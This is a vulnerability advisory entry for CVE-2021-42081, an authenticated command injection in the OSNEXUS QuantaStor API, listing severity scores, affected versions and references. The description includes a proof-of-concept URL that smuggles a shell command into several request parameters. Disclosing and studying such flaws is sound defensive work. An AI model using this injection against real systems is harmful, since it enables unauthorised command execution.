Vulnerability · Published Jul 10, 2023 · Assigned by DIVD
CVE-2021-42081Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355
Critical 9.1
In plain English
A critical-severity OS command injection in QuantaStor from OSNEXUS. There are no confirmed reports of exploitation so far. The chance it is exploited in the next 30 days is estimated at 1.2% (higher than 69% of all known vulnerabilities).
Severity (CVSS 3.1)9.1Critical
Exploit odds (30 days)1.2%top 30.9% of all CVEs
Exploited in the wildNo reportsCISA SSVC: none
Attack toolingNoneno public tooling known
Official description
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Affected products (as reported)
| Vendor | Product | Versions |
|---|---|---|
| OSNEXUS | QuantaStor | 0 – before 6.0.0.355 |
Weakness: CWE-78 · Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
References
- https://www.wbsec.nl/osnexus third-party-advisory, technical-description, exploit
- https://csirt.divd.nl/DIVD-2021-00020/ third-party-advisory
- https://www.osnexus.com/products/software-defined-storage product
- https://csirt.divd.nl/CVE-2021-42081 third-party-advisory, technical-description, exploit
- https://www.divd.nl/DIVD-2021-00020 third-party-advisory, x_transferred